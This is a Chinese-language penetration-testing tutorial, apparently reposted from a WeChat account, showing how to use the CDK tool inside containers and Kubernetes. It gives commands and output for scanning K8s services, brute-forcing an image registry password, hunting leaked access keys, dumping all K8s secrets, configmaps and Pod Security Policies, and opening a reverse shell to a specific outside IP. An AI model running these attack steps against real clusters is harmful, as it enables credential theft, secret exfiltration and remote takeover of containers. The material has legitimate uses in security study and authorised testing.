【云原生渗透】- 使用cdk进行容器环境信息探测

K8s组件网络探测

扫描发现kubelet、k8s dashboard、docker api等服务。

// 从环境变量查找 K8s api-server 所在的网段
env | grep KUBE 
// scan its open service
./cdk run service-probe 172.21.0.1-255

爆破镜像源的账号密码

暴力破解容器镜像源的账号和密码，获取一个可用的账户，用于劫持镜像获取Shell。

./cdk registry-brute <registry-url> <username|file> <password|file>
# 用户名和密码的参数，可以指定文件，单个用户名，单个密码和多个密码组合。

➜  CDK git:(main) ✗ ./cdk run registry-brute http://docker.xxxxx admin /tmp/password-list
2021/06/27 11:57:20 user dict length: 1.
2021/06/27 11:57:20 password dict length: 108.
2021/06/27 11:57:23 Account: admin:xxxxxxx is available.
2021/06/27 11:57:23 End!

信息收集 - 扫描目录文件获取 AK/证书 等敏感文件

扫描用户指定的目录，在其文件中寻找可用的AK SK/证书/配置文件等敏感信息，常用于攻破容器之后发现其中存在一些代码文件(如python/php)等，可以使用该脚本自动提取代码文件中泄露的AK。

./cdk run ak-leakage /var/www/html/php-app

信息收集 - 窃取k8s secrets & config

通过匿名账号或者token文件请求k8s api-server，拉取全部K8s Secrets以及K8s Configmap，K8s Secrets用于存储敏感数据，从Secrets中获取的AK及通信凭证可用于后续渗透中从外部或云产品API窃取信息。

./cdk run k8s-secret-dump (auto|<service-account-token-path>)

./cdk run k8s-secret-dump auto

./cdk run k8s-configmap-dump (auto|<service-account-token-path>)

./cdk run k8s-configmap-dump auto

信息收集 - 获取K8s Pod Security Policies

对于已经获取了kubeconfig或sa账号权限，进而想要创建特殊配置的容器进行逃逸时，但是受到了K8s Pod Security Policies的限制时；可以使用这个Exploit获取Pod Security Policies的规则信息。

./cdk run k8s-psp-dump (auto|<service-account-token-path>

./cdk run k8s-psp-dump auto
2021/03/24 22:15:58 getting K8s api-server API addr.
Find K8s api-server in ENV: https://ip:8443
2021/03/24 22:15:58 trying to dump K8s Pod Security Policies with local service-account: token
2021/03/24 22:15:58 requesting  /apis/policy/v1beta1/podsecuritypolicies
2021/03/24 22:15:58 dump Pod Security Policies success, saved in:  k8s_pod_security_policies.json
2021/03/24 22:15:58 requesting  /api/v1/namespaces/default/pods
2021/03/24 22:15:58 K8S Pod Security Policies rule list:
2021/03/24 22:15:58 rule { securityContext.hostPID: true } is not allowed.
2021/03/24 22:15:58 rule { securityContext.hostIPC: true } is not allowed.
2021/03/24 22:15:58 rule { volumes[0].hostPath.pathPrefix: "/proc" } is not allowed.
2021/03/24 22:15:58 rule { volumes[1].hostPath.pathPrefix: "/dev" } is not allowed.
2021/03/24 22:15:58 rule { volumes[2].hostPath.pathPrefix: "/sys" } is not allowed.
2021/03/24 22:15:58 rule { volumes[3].hostPath.pathPrefix: "/" } is not allowed.
2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: "SYS_ADMIN" } is not allowed.
2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: "SYS_PTRACE" } is not allowed.

使用cdk在容器内反弹shell

cdk支持在容器中直接反弹shell到远端服务器。

cdk run reverse-shell 39.104.80.49:999

原文始发于微信公众号（信安文摘）：【云原生渗透】- 使用cdk进行容器环境信息探测